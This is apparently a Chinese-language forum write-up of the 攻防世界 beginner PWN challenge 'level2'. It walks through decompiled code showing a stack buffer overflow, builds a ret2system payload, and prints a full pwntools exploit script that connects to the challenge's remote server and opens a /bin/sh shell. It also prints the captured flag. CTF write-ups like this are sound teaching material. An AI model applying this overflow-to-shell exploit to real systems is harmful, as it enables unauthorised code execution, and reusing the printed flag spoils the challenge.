首页
论坛
课程
招聘
[原创]攻防世界PWN新手区:level2
2022-4-4 13:51 7688

[原创]攻防世界PWN新手区:level2

2022-4-4 13:51
7688

一、基础信息探查:

常规流程:file、checksec和运行程序
32位ELF文件。没有开金丝雀

二、逆向分析:

main函数:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

从主函数来看可以看到这里有调用一个vulnerable_function() 函数,主函数并没有可以溢出的地方,但能看到这个程序是有调用system函数的,因为这个程序是没有开canary的,那么现在大概的思路就是找到溢出点,然后通过改变栈结构来调用system函数,而system的参数则要修改为:/bin/sh。这里可以先去vulnerable_function() 函数找一找有没有溢出点:

 

vulnerable_function() 函数:

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF
 
  system("echo Input:");
  return read(0, buf, 0x100u);
}

可以观察到有个buf,而且是个很大的空间,双击查看它的栈情况:

1
2
3
-00000088 buf             db 136 dup(?)
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

buf所占的空间大小为0x88字节,由于没有开canary保护,我们可以一直向下溢出到ret返回的地址,返回的地址也就是system函数,但是单单跳到system函数并没啥用,我们的目的是让system函数执行“/bin/sh”,所以我们构建的payload需要两个点:一个是system函数地址,另一个是”/bin/sh”的地址(这两个地址都可以通过pwntools的ELF模块获得)。下面就是考虑构建payload,这里我们分两个part来讨论:

  1. 填充buf处的栈空间:
    1. 首先肯定是将buf的空间填满,也就是需要填充0x88字节的垃圾数据
    2. 然后就是填充4个字节的ebp
    3. 接着是将返回地址填充为system函数的地址
  2. 下面要做的是构建一个新的栈,当跳转到system函数后,我们要构建好system函数视角下的栈情况这里查看system函数的代码:

    1
    2
    3
    4
    5
    // attributes: thunk
    int system(const char *command)
    {
      return system(command);
    }

    注意汇编代码处,首先箭头所指的指令是将参数字符串赋给command变量,然后还要注意jmp命令其实分为两个动作一是将eip的值压栈,然后再跳转,所以还得填充4个字节的eip值

从这里可以看出我们大概要构建的栈情况如图:

 

三、shellcode编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
 
context(os='linux',arch='x86',log_level="debug")
content = 0
 
elf = ELF("level2")
system_plt_addr = elf.plt["system"]#获取函数plt表地址
bin_sh_addr = next(elf.search(b"/bin/sh"))#找到/bin/sh的地址
 
def main():
    if content == 1:
        sh = process("level2")#打本地
    else:
        sh = remote("111.200.241.244",64977)#打远程
 
    payload = b'A' * 0x88 + b'B' * 0x04
    payload += p32(system_plt_addr)
    payload += p32(0) + p32(bin_sh_addr)
 
    sh.sendlineafter("Input:\n",payload)
 
    sh.interactive()
 
if __name__ == '__main__':
    main()


cyberpeace{454c892c2a452d51abdbe6b27c85fc5e}


2022 KCTF春季赛【最佳人气奖】火热评选中!快来投票吧~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回